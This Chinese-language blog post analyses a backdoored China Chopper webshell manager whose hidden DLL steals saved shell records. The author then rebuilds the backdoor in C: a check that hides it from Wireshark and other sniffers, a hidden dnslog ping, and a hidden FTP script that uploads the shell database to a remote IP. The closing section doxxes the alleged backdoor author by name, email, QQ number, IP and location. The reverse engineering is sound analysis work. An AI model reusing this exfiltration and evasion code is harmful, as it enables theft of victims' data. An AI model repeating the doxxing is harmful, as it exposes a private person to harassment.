起因
很长一段时间总是闲来无事,但作为人类总要做些什么,要不然会疯掉,于是我选择了整天在群里瞎扯淡,瞎扯淡也是门学问,扯的好或者不好,都不能把这个淡长久的扯下去,于是我开始寻找那个所谓的平衡-咸中带淡、淡中带咸,不过这不是重点,这里就不表了。在最近的瞎扯淡中有表哥说收集到了一款中国菜刀,这款中国菜刀与众不同,被人动了手脚,于是就有了下文。
爱之初体验
得到样本后,直接解压,发现很清爽就5个文件和文件夹,也对伐,中国菜刀本来也没几个文件和文件夹,如图所示:
看了一下图标应该是14款的中国菜刀,但是db.tmp是什么鬼?WTF!先给db.tmp重命名为db.tmp.bak,再打开caidao.exe发现直接系统错误了,如图所示:
看到上面的报错,直接可以肯定db.tmp是一个dll文件,肯定有人会质疑为什么不是临时文件呢?直接用C32asm打开看看文件头吧,如图所示:
你家的临时文件张这样么?又有杠精会质疑为什么不是exe呢?把db.tmp.bak改回db.tmp,正常打开中国菜刀,使用火绒内置的火绒剑查看caidao.exe进程使用的模块,发现列表中存在db.tmp,如图所示:
这里重点安利一下火绒的火绒剑,分析就用火绒剑,黑客用了都说好,安利结束,说回正题。
都知道db.tmp是dll了,也别藏着掖着了,直接改名叫db.dll得了,清晰明了。使用C32asm打开db.dll文件,看看葫芦里都卖的什么药。
慢慢走慢慢看,一点一点往下翻,跨过山和大海在茫茫字符中看到了caidao_backdoor,猝不及防的直白,让我心痛到无法呼吸,如图所示:
忍着心痛继续往下看,穿过人山人海在茫茫字符中又看到了caidao_backdoor,别在折磨我了,俗话说:往往深情留不住,只有套路得人心。来点套路吧!别再深情告白了,各位看官都跑了,如图所示:
谁TM还没点小脾气,再TM出现caidao_backdoor我TM不看了,就算做咸鱼,我TM也要做最咸的那一条!
继续往下看,发现存在对进程的操作,以及N多流量分析工具的进程名,如图所示:
继续往下看,发现对数据库进行连接,并获取了site表的全部数据,如图所示:
这个site表里面存储的是什么呢?打开中国菜刀并添加数据,如图所示:
使用工具查看db.mdb数据库site表的内容,发现存储的是shell记录,如图所示:
再往下看,发现后门地址,如图所示:
有关爱之初体验环节可以总结为,通过对caidao.exe文件进行修改,使caidao.exe加载db.tmp文件,对db.tmp文件分析得知该文件是dll,该dll实现的功能可以总结如下:
-
判断进程名中是否存在流量分析工具
-
连接数据库并获取shell信息
-
使用http请求传递shell信息
爱之再试探
对爱之初体验环节总结的功能使用代码进行复现。
判断某个进程名是否存在
#include"tlhelp32.h"
DWORD GetProcessIdFromName(LPCWSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe))
return 0;
while (1)
{
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32Next(hSnapshot, &pe) == FALSE)
break;
if (wcscmp(pe.szExeFile, name) == 0)
{
id = pe.th32ProcessID;
break;
}
}
CloseHandle(hSnapshot);
return id;
}
if(GetProcessIdFromName(_T("calc.exe")) || GetProcessIdFromName(_T("WSockExpert_cn.exe")) || GetProcessIdFromName(_T("WSockExpert.exe")) || GetProcessIdFromName(_T("CHKenCap.exe")) || GetProcessIdFromName(_T("SmartSniff.exe")) || GetProcessIdFromName(_T("hookME.exe")) || GetProcessIdFromName(_T("NetworkTrafficView.exe")) || GetProcessIdFromName(_T("smsniff.exe")) || GetProcessIdFromName(_T("tcpmon.exe")) || GetProcessIdFromName(_T("HttpAnalyzerStdV6.exe")) || GetProcessIdFromName(_T("Csnas.exe")) || GetProcessIdFromName(_T("Wireshark.exe"))) {
return TRUE;
}
使用http请求传递信息
研究了很久怎么用C/C++传递信息,什么winsock2都试了,无奈太菜,代码调试到最后都没成功,先放一下,暂且使用dnslog接收数据吧,等把整体搞完了再研究一下问题到底出现在哪。
#include<windows.h>
WinExec("ping -n 1 test.kdlo9x.ceye.io",SW_HIDE);
连接数据库并获取shell信息
要连接中国菜刀数据库,首先要知道cache.mdb的密码,在T00LS的QQ群里问了问表哥们,表哥说百度就有,万能的百度,如图所示:
有密码了本以为很快就要结束了,鬼知道C/C++还真是与众不同,折腾了大半天也没连上,为了进度换一种思路吧,直接通过FTP上传cache.mdb吧,这里又遇到了另外一个问题,那就是防爆菊,万一被逆向找到FTP的口令,岂不是偷鸡不成蚀把米,这里需要对下载、删除等权限进行禁止,只留下上传权限,如图所示:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
WinExec("cmd /c echo open 192.168.64.137> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo ftp>> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo ftp>> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo cd db>> cache.tmp",SW_HIDE);
Sleep(100);
char str[20];
sprintf(str, "%d", time(NULL));
char file[50];
strcpy(file,"cmd /c echo put db.mdb ");
strcat(file,str);
strcat(file,".mdb>> cache.tmp");
WinExec(file,SW_HIDE);
Sleep(100);
WinExec("cmd /c echo quit>> cache.tmp",SW_HIDE);
WinExec("ftp -s:cache.tmp",SW_HIDE);
Sleep(5000);
WinExec("cmd /c echo test>cache.tmp",SW_HIDE);
dll注入到exe
这里直接使用微软开源的工具,试了下美滋滋,微软棒棒哒。
先将dll注入到自己写的小dome中看看执行的流程,如图所示:
再将dll注入到hash.exe文件中,同样可以完成操作,如图所示:
但是这里比较尴尬的是将dll注入到中国菜刀后,打开中国菜刀就崩溃了,不清楚是dll引发的菜刀崩溃,还是dll自己崩溃的,这里还在思考。
爱之终寻源
在爱之初体验环节通过对db.tmp文件进行分析,得到gongyuchao.cn这个域名,通过在线whois查询,获取域名注册相关的信息,发现该域名注册人为龚玉潮,注册邮箱为[email protected],如图所示:
使用site:gongyuchao.cn获取百度收录信息,发现居然还有两条收录,如图所示:
通过百度收录的网址进行访问,发现跳转至微美官方论坛,改网站域名为50zzb.com,在网站下方的在线咨询功能处获取到的QQ号码与gongyuchao.cn域名whois查询到的是同一个QQ号码,说明两个网站同属一个人,如图所示:
通过使用龚玉潮 黑客和龚玉潮 hack作为关键字进行搜索,发现该人相对比较关注CC攻击和远控抓鸡,如图所示:
通过使用[email protected]作为关键字进行搜索,发现酷250网站大全存在相关信息,如图所示:
在酷250网站描述处发现网站历史IP,如图所示:
使用在线IP定位工具对IP进行定位,发现定位地址与酷250网站描述信息中的地址一致,如图所示:
东风快递都寄到小区了,怎么能不打开看看呢?说干就干,开箱验货,如图所示:
你都说了你是黑客,不如做一次极客,拆机验货,看看你心里到底有什么,如图所示:
**封心锁爱,一心求财。**但君子爱财,取之有道。技术是把双刃剑,能成佛,能成魔。小孩很可爱,为什么不做一些让他为之骄傲的事情呢?再多也不想说什么了,收手吧,我劝你善良。
寻人启事
上面没有用到OD,也没有用到IDA,通过也没有用到什么高深的技术或者思路,不是不想用或者用不到,而是我真的不会用。
寻求精通社工、渗透、逆向、破解、溯源、区块链、大数据、人工智能等任意技术的大佬,如果你乐意无偿同我分享技术,可以联系我,不过本菜几乎不能帮你解决任何技术上的问题,不是不想,而是太菜。
如果你同我一样菜,那么也可以联系我,只要你感兴趣的,我都可以同你一起学习。
本寻人启事并无与论坛抢人气之意,本菜也做不到,背后不存在企业靠山,无挖论坛各位大佬之意,只想找一些志同道合的人,做一些有意思的事,也许最后你会同我一样一贫如洗,但不会怨恨选择独行的自己。
瞎扯淡
最后居然不知道要说什么了,但总想说点什么。
-
表哥们学习技术是为了什么?金钱、兴趣、装逼或者其他什么?
-
做技术真的到了吃不饱饭的地步了么?表哥们经历过最穷或者最艰难的时候是什么处境?介意讲给我听吗?
-
如果真的做技术已经到了吃不饱饭的地步,转行吧!在法律允许的范畴内找一个可以吃饱饭的职业。
-
做事可以不对自己负责,但是要对爱你的和你爱的人负责,在你背后的那些人,你永远也在他们背后。
-
如果我在你的身后,我不会让一颗子弹落在你的身上。如果我牺牲了,请关照我的家人。